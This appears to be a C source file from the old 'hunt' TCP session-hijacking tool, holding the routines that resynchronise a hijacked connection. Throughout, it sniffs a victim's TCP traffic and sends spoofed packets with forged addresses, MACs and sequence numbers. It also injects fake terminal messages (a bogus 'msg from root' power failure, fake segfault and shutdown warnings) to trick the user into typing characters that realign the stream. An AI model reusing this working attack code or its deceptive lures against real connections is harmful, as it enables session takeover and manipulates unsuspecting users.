1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561
|
/*
*
* This is free software. You can redistribute it and/or modify under
* the terms of the GNU General Public License version 2.
*
* Copyright (C) 1998 by kra
*
*/
#include "hunt.h"
#include <sys/time.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <assert.h>
/*
* functions with ACK storm avoidance
*/
void func_hijack_dst_sync(struct packet *p, struct conn_info *arg)
{
#if 0
static unsigned int last_seq = 0;
static unsigned int last_ack = 0;
#endif
if (p->p_iph->saddr == arg->dst_addr &&
p->p_iph->daddr == arg->src_addr &&
p->p_hdr.p_tcph->source == arg->dst_port &&
p->p_hdr.p_tcph->dest == arg->src_port) {
#if 0
if (last_seq == p->p_hdr.p_tcph->seq &&
last_ack == p->p_hdr.p_tcph->ack_seq) {
printf(".");
fflush(stdout);
return;
}
last_seq = p->p_hdr.p_tcph->seq;
last_ack = p->p_hdr.p_tcph->ack_seq;
#endif
packet_want(p);
list_produce(&l_hijack_conn, p);
}
}
void func_hijack_src_sync(struct packet *p, struct conn_info *arg)
{
#if 0
static unsigned int last_seq = 0;
static unsigned int last_ack = 0;
#endif
if (p->p_iph->saddr == arg->src_addr &&
p->p_iph->daddr == arg->dst_addr &&
p->p_hdr.p_tcph->source == arg->src_port &&
p->p_hdr.p_tcph->dest == arg->dst_port) {
#if 0
if (last_seq == p->p_hdr.p_tcph->seq &&
last_ack == p->p_hdr.p_tcph->ack_seq) {
printf(".");
fflush(stdout);
return;
}
last_seq = p->p_hdr.p_tcph->seq;
last_ack = p->p_hdr.p_tcph->ack_seq;
#endif
packet_want(p);
list_produce(&l_hijack_conn, p);
}
}
int user_hijack_sync(struct user_conn_info *uci)
{
struct conn_info *ci;
int retval;
if (!(ci = conn_get(uci))) {
printf("connection isn't available\n");
retval = 1;
} else {
if ((retval = hijack_sync(ci)) < 0)
printf("sync failed\n");
conn_free(ci);
}
return retval;
}
static char *suggest_sync_msg(int first)
{
static int count = 0;
static int old_count = 0;
char *retval;
char *m1[] = {"\r\nmsg from root: power failure - try to type %d chars\r\n",
"\r\nfuck you type %d chars immediately\r\n",
"\r\nI/O failure detected, %d chars will solve it\r\n",
"\r\nmachine is going down within 5 min, type %d chars\r\n",
"\r\nsegmentation fault - %d chars to resume\r\n"
};
char *m2[] = {"\r\npower failure detected\r\n... power resumed, ok\r\n",
"\r\nready\r\n",
"\r\nI/O resumed\r\n",
"\r\nmachine shutdown canceled\r\n",
"\r\nyou have new mail\r\n"
};
if (first) {
retval = m1[count];
old_count = count;
count = (count + 1) % (sizeof(m1) / sizeof(char *));
} else {
retval = m2[old_count];
}
return retval;
}
volatile int need_read, need_write;
volatile int sync_was_canceled;
volatile int f_sync_done;
int nw_was_negative;
static void hijack_sync_init_msg(struct conn_info *ci)
{
int len, msg_len;
char buf[128];
struct tcp_spec ts;
/*
* print message to user
*/
need_read = ntohl(ci->dst.next_d_seq) - ntohl(ci->src.next_seq);
need_write = ntohl(ci->dst.next_seq) - ntohl(ci->src.next_d_seq);
printf("user have to type %d chars and print %d chars to synchronize connection\n", need_read, need_write);
ctrl_c_prompt();
if (need_read <= 0) {
/* printf("ok, handle %d chars myself\n", need_read);*/
return;
}
if (need_write <= 0) {
/* printf("ok, handle %d print chars myself\n", need_write);*/
return;
}
len = need_write - need_read;
msg_len = sprintf(buf, suggest_sync_msg(1), need_read);
if (len >= msg_len) {
len = msg_len;
memset(&ts, 0, sizeof(ts));
ts.saddr = ci->dst_addr;
ts.daddr = ci->src_addr;
ts.sport = ci->dst_port;
ts.dport = ci->src_port;
ts.src_mac = ci->src.dst_mac;
ts.dst_mac = ci->src.src_mac;
ts.seq = ci->src.next_d_seq;
ts.ack_seq = ci->src.next_seq;
ts.window = ci->dst.window ? ci->dst.window : htons(242);
ts.id = htons(ntohs(ci->dst.id) + 1);
ts.ack = 1;
ts.psh = 1;
ts.rst = 0;
ts.data = buf;
ts.data_len = len;
need_write -= len;
#if 0
printf("write send/src seq = %u, ack = %u\n", ntohl(ts.seq), ntohl(ts.ack_seq));
printf(" dst seq = %u, ack = %u\n", ntohl(ci->dst.next_seq), ntohl(ci->dst.next_d_seq));
#endif
send_tcp_packet(&ts);
} else {
/*
* be silent
*/
}
}
/*
* well we have to be faster than destination end because it will send
* packet which causes our packet to be dropped, so we need send it
* as fast as posible
*/
#ifdef SYNC_FAST
pthread_cond_t cond_hijack_sync;
pthread_mutex_t mutex_hijack_sync;
#endif
static int need_read_want_n = 0;
static int need_write_want_n = 0;
static void need_read_write_init()
{
need_read_want_n = -100000;
need_write_want_n = -100000;
}
static void need_read_write_negative(struct conn_info *ci)
{
struct tcp_spec ts;
char buf[1400];
int len;
/*
* well - after sending something we get usualy ack storm
*/
if (need_read > 0 && need_write > 0)
return;
if (need_read_want_n > need_read || need_write_want_n > need_write)
return;
if (need_read < need_write)
len = -need_read;
else
len = -need_write;
if (len > sizeof(buf))
len = sizeof(buf);
memset(buf, ' ', len);
ts.saddr = ci->src_addr;
ts.daddr = ci->dst_addr;
ts.sport = ci->src_port;
ts.dport = ci->dst_port;
ts.src_mac = ci->dst.dst_mac;
ts.dst_mac = ci->dst.src_mac;
ts.seq = ci->dst.next_d_seq;
ts.ack_seq = ci->dst.next_seq;
ts.window = ci->src.window ? ci->src.window : htons(242);
ts.ack = 1;
ts.psh = 1;
ts.rst = 0;
ts.data = buf;
ts.data_len = len;
send_tcp_packet(&ts);
need_read += len;
need_write += len;
need_read_want_n = need_read;
need_write_want_n = need_write;
}
static void need_write_positive(struct conn_info *ci, char *data, int data_len)
{
struct tcp_spec ts;
char buf[BUFSIZE];
char fin_msg[BUFSIZE];
int fin_msg_len;
int len;
sprintf(fin_msg, "%f%", suggest_sync_msg(0));
fin_msg_len = strlen(fin_msg);
if (!data) {
#if 0 /* it doesn't work properly in ACK storm -
some bug fixed maybe it will work*/
if ((len = need_write - fin_msg_len) <= 0)
len = need_write;
if (len > sizeof(buf))
len = sizeof(buf);
if (len == fin_msg_len)
memcpy(buf, fin_msg, len);
else
memset(buf, ' ', len);
#else
len = need_write;
if (len > sizeof(buf)) {
len = sizeof(buf);
memset(buf, ' ', len);
} else {
if (len > fin_msg_len) {
memset(buf, ' ', len - fin_msg_len);
memcpy(buf + len - fin_msg_len, fin_msg, fin_msg_len);
} else
memcpy(buf, fin_msg + (fin_msg_len - len), len);
}
data = buf;
data_len = len;
}
#endif
memset(&ts, 0, sizeof(ts));
ts.saddr = ci->dst_addr;
ts.daddr = ci->src_addr;
ts.sport = ci->dst_port;
ts.dport = ci->src_port;
ts.src_mac = ci->src.dst_mac;
ts.dst_mac = ci->src.src_mac;
ts.seq = ci->src.next_d_seq;
ts.ack_seq = ci->src.next_seq;
ts.window = ci->dst.window ? ci->dst.window : htons(242);
ts.id = htons(ntohs(ci->dst.id) + 1);
ts.ack = 1;
ts.psh = 1;
ts.rst = 0;
ts.data = data;
ts.data_len = data_len;
send_tcp_packet(&ts);
need_write -= data_len;
#if 0
printf("write send/src seq = %u, ack = %u\n", ntohl(ts.seq), ntohl(ts.ack_seq));
printf(" dst seq = %u, ack = %u\n", ntohl(ci->dst.next_seq), ntohl(ci->dst.next_d_seq));
#endif
}
static void need_read_positive(struct packet *p, struct conn_info *ci)
{
struct tcp_spec ts;
memset(&ts, 0, sizeof(ts));
ts.saddr = ci->dst_addr;
ts.daddr = ci->src_addr;
ts.sport = ci->dst_port;
ts.dport = ci->src_port;
ts.src_mac = ci->src.dst_mac;
ts.dst_mac = ci->src.src_mac;
ts.seq = ci->src.next_d_seq;
ts.ack_seq = ci->src.next_seq;
ts.window = ci->dst.window ? ci->dst.window : htons(242);
ts.id = htons(ntohs(ci->dst.id) + 1);
ts.ack = 1;
ts.psh = 1;
ts.rst = 0;
ts.data = p->p_data;
ts.data_len = p->p_data_len;
if (p->p_data[0] == '\r' || p->p_data[0] == '\n') {
ts.data = "\r\n$ ";
ts.data_len = 4;
} else {
ts.data = p->p_data;
ts.data_len = p->p_data_len;
}
send_tcp_packet(&ts);
need_read -= p->p_data_len;
need_write -= p->p_data_len;
#if 0
printf("need read = %d, send/src seq = %u, ack = %u\n", need_read, ntohl(ts.seq), ntohl(ts.ack_seq));
printf(" dst seq = %u, ack = %u\n", ntohl(ci->dst.next_seq), ntohl(ci->dst.next_d_seq));
#endif
}
void f_hijack_sync(struct packet *p, struct conn_info *ci)
{
static unsigned int last_read_ack, dst_last_ack;
struct tcp_spec ts;
char buf[512], *w_data;
int len;
#if 0
if (p->p_ipc != 0) {
need_read = ntohl(ci->dst.next_d_seq) - ntohl(ci->src.next_seq);
need_write = ntohl(ci->dst.next_seq) - ntohl(ci->src.next_d_seq);
if (need_read < 0)
need_read_negative(ci);
#ifndef SYNC_FAST
packet_free(p);
#endif
return;
}
#endif
if (p->p_iph->saddr == ci->src_addr &&
p->p_iph->daddr == ci->dst_addr &&
p->p_hdr.p_tcph->source == ci->src_port &&
p->p_hdr.p_tcph->dest == ci->dst_port) {
/*
* packet from source
*/
need_read = ntohl(ci->dst.next_d_seq) - ntohl(ci->src.next_seq);
need_write = ntohl(ci->dst.next_seq) - ntohl(ci->src.next_d_seq);
if (need_read) {
if (need_read > 0 && need_write >= 0) {
if (p->p_data_len > 0) {
print_data_packet(p, p->p_data_len, 0, 0);
need_read_positive(p, ci);
last_read_ack = htonl(ntohl(ci->src.next_d_seq)
+ p->p_data_len);
}
} else {
need_read_write_negative(ci);
}
} else if (need_write > 0) { /* need read == 0 */
if (p->p_data_len)
print_data_packet(p, p->p_data_len, 0, 0);
if (last_read_ack == p->p_hdr.p_tcph->ack_seq && p->p_data_len) {
len = p->p_data_len;
if (len > sizeof(buf))
len = sizeof(buf);
memcpy(buf, p->p_data, len);
w_data = buf;
} else {
len = 0;
w_data = NULL;
}
need_write_positive(ci, w_data, len);
} else if (need_write < 0) {
need_read_write_negative(ci);
} else { /* need_read == 0 && need_write == 0 */
#if 0
printf("need_write %d, need_read %d, src seq = %u, ack = %u\n", need_read, need_write, ntohl(ci->src.next_seq), ntohl(ci->src.next_d_seq));
printf(" dst seq = %u, ack = %u\n", ntohl(ci->dst.next_seq), ntohl(ci->dst.next_d_seq));
#endif
#if SYNC_FAST
pthread_mutex_lock(&mutex_hijack_sync);
#endif
f_sync_done = 1;
#if SYNC_FAST
pthread_cond_signal(&cond_hijack_sync);
pthread_mutex_unlock(&mutex_hijack_sync);
#endif
}
} else {
if (p->p_iph->saddr == ci->dst_addr &&
p->p_iph->daddr == ci->src_addr &&
p->p_hdr.p_tcph->source == ci->dst_port &&
p->p_hdr.p_tcph->dest == ci->src_port) {
need_read = ntohl(ci->dst.next_d_seq) - ntohl(ci->src.next_seq);
need_write = ntohl(ci->dst.next_seq) - ntohl(ci->src.next_d_seq);
if (dst_last_ack != ci->dst.next_seq) {
/* packet from dst - ACK it */
ts.saddr = ci->src_addr;
ts.daddr = ci->dst_addr;
ts.sport = ci->src_port;
ts.dport = ci->dst_port;
ts.src_mac = ci->dst.dst_mac;
ts.dst_mac = ci->dst.src_mac;
ts.seq = ci->dst.next_d_seq;
ts.ack_seq = ci->dst.next_seq;
ts.window = ci->src.window ? ci->src.window : htons(242);
ts.ack = 1;
ts.psh = 1;
ts.rst = 0;
ts.data = NULL;
ts.data_len = 0;
send_tcp_packet(&ts);
dst_last_ack = ts.ack_seq;
if (need_read < 0 || need_write < 0) {
need_read_write_negative(ci);
} else if (need_read == 0) {
if (need_write > 0)
need_write_positive(ci, NULL, 0);
} else { /* need read > 0 */
if (nw_was_negative) {
nw_was_negative = 0;
hijack_sync_init_msg(ci);
}
}
}
if (need_read == 0 && need_write == 0) {
f_sync_done = 1;
}
}
}
#ifndef SYNC_FAST
packet_free(p);
#endif
}
void ctrl_c_sync_handler(int signr)
{
sync_was_canceled = 1;
f_sync_done = 1;
}
int hijack_sync(struct conn_info *ci)
{
struct ifunc_item ifunc_f, ifunc_dst;
struct timespec absts;
struct timeval now;
struct sigaction sac, old_sac;
struct packet *p;
nw_was_negative = 0;
f_sync_done = 0;
list_produce_start(&l_hijack_conn);
#ifdef SYNC_FAST
pthread_mutex_init(&mutex_hijack_sync, NULL);
pthread_cond_init(&cond_hijack_sync, NULL);
ifunc_f.func = (void(*)(struct packet *, void *)) f_hijack_sync;
ifunc_f.arg = ci;
list_enqueue(&l_ifunc_fast_tcp, &ifunc_f);
#else
ifunc_f.func = (void(*)(struct packet *, void *)) func_hijack_src_sync;
ifunc_f.arg = ci;
list_enqueue(&l_ifunc_tcp, &ifunc_f);
ifunc_dst.func = (void(*)(struct packet *, void *)) func_hijack_dst_sync;
ifunc_dst.arg = ci;
list_enqueue(&l_ifunc_tcp, &ifunc_dst);
#endif
/* do this that you can interupt pthread_cond_timedwait through ctrl-c */
gettimeofday(&now, NULL);
absts.tv_sec = now.tv_sec + 100000;
absts.tv_nsec = 0;
hijack_sync_init_msg(ci);
sync_was_canceled = 0;
sac.sa_handler = ctrl_c_sync_handler;
sigemptyset(&sac.sa_mask);
sigaddset(&sac.sa_mask, SIGINT);
sac.sa_flags = SA_RESTART;
sigaction(SIGINT, &sac, &old_sac);
#ifdef SYNC_FAST
need_read_write_init();
if (need_read < 0 || need_write < 0)
need_read_write_negative(ci);
pthread_mutex_lock(&mutex_hijack_sync);
while (!f_sync_done) {
pthread_cond_timedwait(&cond_hijack_sync, &mutex_hijack_sync,
&absts);
}
pthread_mutex_unlock(&mutex_hijack_sync);
list_remove(&l_ifunc_fast_tcp, &ifunc_f);
#else
if (need_write < 0)
nw_was_negative = 0;
need_read_write_init();
if (need_read < 0 || need_write < 0)
need_read_write_negative(ci);
if (need_read != 0 || need_write != 0) {
while (1) {
if (!f_sync_done && (p = list_consume(&l_hijack_conn, NULL))) {
f_hijack_sync(p, ci);
} else
break;
if (sync_was_canceled)
break;
}
}
list_remove(&l_ifunc_tcp, &ifunc_f);
list_remove(&l_ifunc_tcp, &ifunc_dst);
#endif
packet_flush(&l_hijack_conn);
if (sync_was_canceled)
press_key("\n-- press any key> ");
sigaction(SIGINT, &old_sac, NULL);
#if 0
struct timespec relts;
/*
* wait a while - conn will be updated from ACK
*/
relts.tv_sec = 1;
relts.tv_nsec = /* 500000000 */ 0;
nanosleep(&relts, NULL);
need_read = ntohl(ci->dst.next_d_seq) - ntohl(ci->src.next_seq);
need_write = ntohl(ci->dst.next_seq) - ntohl(ci->src.next_d_seq);
if (!need_read && !need_write)
return 0;
else {
printf("final need read %d, need write %d\n", need_read, need_write);
if (need_read > -4 && need_read < 4 && need_write > -4 && need_write < 4)
printf("maybe the synchronization was successful\n");
return -1;
}
#else
if (sync_was_canceled)
return -1;
else
return 0;
#endif
}
|